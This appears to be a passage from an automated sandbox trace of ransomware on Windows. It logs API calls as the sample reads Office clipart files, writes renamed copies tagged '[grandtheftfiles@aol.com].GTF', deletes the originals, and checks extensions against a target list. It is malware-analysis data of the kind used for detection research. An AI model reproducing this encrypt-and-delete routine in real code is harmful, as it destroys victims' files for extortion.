	[0082.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.618] lstrlenW (lpString=".jpg") returned 4
	[0082.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.618] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.618] lstrlenW (lpString="BD07831_.WMF") returned 12
	[0082.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.619] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=4066) returned 1
	[0082.619] CloseHandle (hObject=0x390) returned 1
	[0082.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220
	[0082.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.619] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.619] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0082.620] GetLastError () returned 0x0
	[0082.620] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xfe2, lpOverlapped=0x0) returned 1
	[0082.900] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0082.901] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.901] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.902] SetEndOfFile (hFile=0x37c) returned 1
	[0082.902] CloseHandle (hObject=0x37c) returned 1
	[0082.903] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.903] SetEndOfFile (hFile=0x390) returned 1
	[0082.904] CloseHandle (hObject=0x390) returned 1
	[0082.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1
	[0082.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.904] lstrlenW (lpString=".doc") returned 4
	[0082.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.904] lstrlenW (lpString=".docx") returned 5
	[0082.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.904] lstrlenW (lpString=".pdf") returned 4
	[0082.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString=".xls") returned 4
	[0082.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.905] lstrlenW (lpString=".xlsx") returned 5
	[0082.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.905] lstrlenW (lpString=".ppt") returned 4
	[0082.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.905] lstrlenW (lpString=".zip") returned 4
	[0082.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.905] lstrlenW (lpString=".rar") returned 4
	[0082.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString=".bz2") returned 4
	[0082.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString=".7z") returned 3
	[0082.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.905] lstrlenW (lpString=".dbf") returned 4
	[0082.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.905] lstrlenW (lpString=".1cd") returned 4
	[0082.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.905] lstrlenW (lpString=".jpg") returned 4
	[0082.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.905] lstrlenW (lpString=".doc") returned 4
	[0082.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString=".docx") returned 5
	[0082.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.905] lstrlenW (lpString=".pdf") returned 4
	[0082.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.905] lstrlenW (lpString=".xls") returned 4
	[0082.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.906] lstrlenW (lpString=".xlsx") returned 5
	[0082.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.906] lstrlenW (lpString=".ppt") returned 4
	[0082.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.906] lstrlenW (lpString=".zip") returned 4
	[0082.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.906] lstrlenW (lpString=".rar") returned 4
	[0082.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.906] lstrlenW (lpString=".bz2") returned 4
	[0082.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.906] lstrlenW (lpString=".7z") returned 3
	[0082.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.906] lstrlenW (lpString=".dbf") returned 4
	[0082.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.906] lstrlenW (lpString=".1cd") returned 4
	[0082.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0082.906] lstrlenW (lpString=".jpg") returned 4
	[0082.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.906] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0082.906] lstrlenW (lpString="BD19582_.GIF") returned 12
	[0082.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.907] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=15733) returned 1
	[0082.907] CloseHandle (hObject=0x390) returned 1
	[0082.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220
	[0082.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.907] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.907] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0082.908] GetLastError () returned 0x0
	[0082.908] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x3d75, lpOverlapped=0x0) returned 1
	[0082.912] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x3d80, lpOverlapped=0x0) returned 1
	[0082.913] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.913] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.913] SetEndOfFile (hFile=0x37c) returned 1
	[0082.913] CloseHandle (hObject=0x37c) returned 1
	[0082.914] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.914] SetEndOfFile (hFile=0x390) returned 1
	[0082.915] CloseHandle (hObject=0x390) returned 1
	[0082.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1
	[0082.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.916] lstrlenW (lpString=".doc") returned 4
	[0082.916] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.916] lstrlenW (lpString=".docx") returned 5
	[0082.916] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.916] lstrlenW (lpString=".pdf") returned 4
	[0082.916] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.916] lstrlenW (lpString=".xls") returned 4
	[0082.916] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.916] lstrlenW (lpString=".xlsx") returned 5
	[0082.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.916] lstrlenW (lpString=".ppt") returned 4
	[0082.916] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.916] lstrlenW (lpString=".zip") returned 4
	[0082.916] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.916] lstrlenW (lpString=".rar") returned 4
	[0082.916] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.917] lstrlenW (lpString=".bz2") returned 4
	[0082.917] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.917] lstrlenW (lpString=".7z") returned 3
	[0082.917] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.917] lstrlenW (lpString=".dbf") returned 4
	[0082.917] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.917] lstrlenW (lpString=".1cd") returned 4
	[0082.917] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.917] lstrlenW (lpString=".jpg") returned 4
	[0082.917] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.917] lstrlenW (lpString=".doc") returned 4
	[0082.917] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.917] lstrlenW (lpString=".docx") returned 5
	[0082.917] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.917] lstrlenW (lpString=".pdf") returned 4
	[0082.917] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.917] lstrlenW (lpString=".xls") returned 4
	[0082.917] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.917] lstrlenW (lpString=".xlsx") returned 5
	[0082.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.917] lstrlenW (lpString=".ppt") returned 4
	[0082.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.917] lstrlenW (lpString=".zip") returned 4
	[0082.917] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.918] lstrlenW (lpString=".rar") returned 4
	[0082.918] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.918] lstrlenW (lpString=".bz2") returned 4
	[0082.918] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.918] lstrlenW (lpString=".7z") returned 3
	[0082.918] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.918] lstrlenW (lpString=".dbf") returned 4
	[0082.918] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.918] lstrlenW (lpString=".1cd") returned 4
	[0082.918] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0082.918] lstrlenW (lpString=".jpg") returned 4
	[0082.918] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.918] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.918] lstrlenW (lpString="BD19695_.WMF") returned 12
	[0082.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.918] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=12982) returned 1
	[0082.918] CloseHandle (hObject=0x390) returned 1
	[0082.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220
	[0082.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.919] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.919] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0082.919] GetLastError () returned 0x0
	[0082.919] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x32b6, lpOverlapped=0x0) returned 1
	[0082.921] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0082.922] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.922] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.922] SetEndOfFile (hFile=0x37c) returned 1
	[0082.923] CloseHandle (hObject=0x37c) returned 1
	[0082.924] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.924] SetEndOfFile (hFile=0x390) returned 1
	[0082.925] CloseHandle (hObject=0x390) returned 1
	[0082.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1
	[0082.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.925] lstrlenW (lpString=".doc") returned 4
	[0082.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.925] lstrlenW (lpString=".docx") returned 5
	[0082.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.925] lstrlenW (lpString=".pdf") returned 4
	[0082.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.925] lstrlenW (lpString=".xls") returned 4
	[0082.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.926] lstrlenW (lpString=".xlsx") returned 5
	[0082.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.926] lstrlenW (lpString=".ppt") returned 4
	[0082.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.926] lstrlenW (lpString=".zip") returned 4
	[0082.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.926] lstrlenW (lpString=".rar") returned 4
	[0082.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.926] lstrlenW (lpString=".bz2") returned 4
	[0082.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.926] lstrlenW (lpString=".7z") returned 3
	[0082.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.926] lstrlenW (lpString=".dbf") returned 4
	[0082.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.926] lstrlenW (lpString=".1cd") returned 4
	[0082.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.926] lstrlenW (lpString=".jpg") returned 4
	[0082.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.927] lstrlenW (lpString=".doc") returned 4
	[0082.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString=".docx") returned 5
	[0082.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.927] lstrlenW (lpString=".pdf") returned 4
	[0082.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString=".xls") returned 4
	[0082.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.927] lstrlenW (lpString=".xlsx") returned 5
	[0082.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.927] lstrlenW (lpString=".ppt") returned 4
	[0082.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.927] lstrlenW (lpString=".zip") returned 4
	[0082.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.927] lstrlenW (lpString=".rar") returned 4
	[0082.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString=".bz2") returned 4
	[0082.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString=".7z") returned 3
	[0082.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.927] lstrlenW (lpString=".dbf") returned 4
	[0082.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0082.927] lstrlenW (lpString=".1cd") returned 4
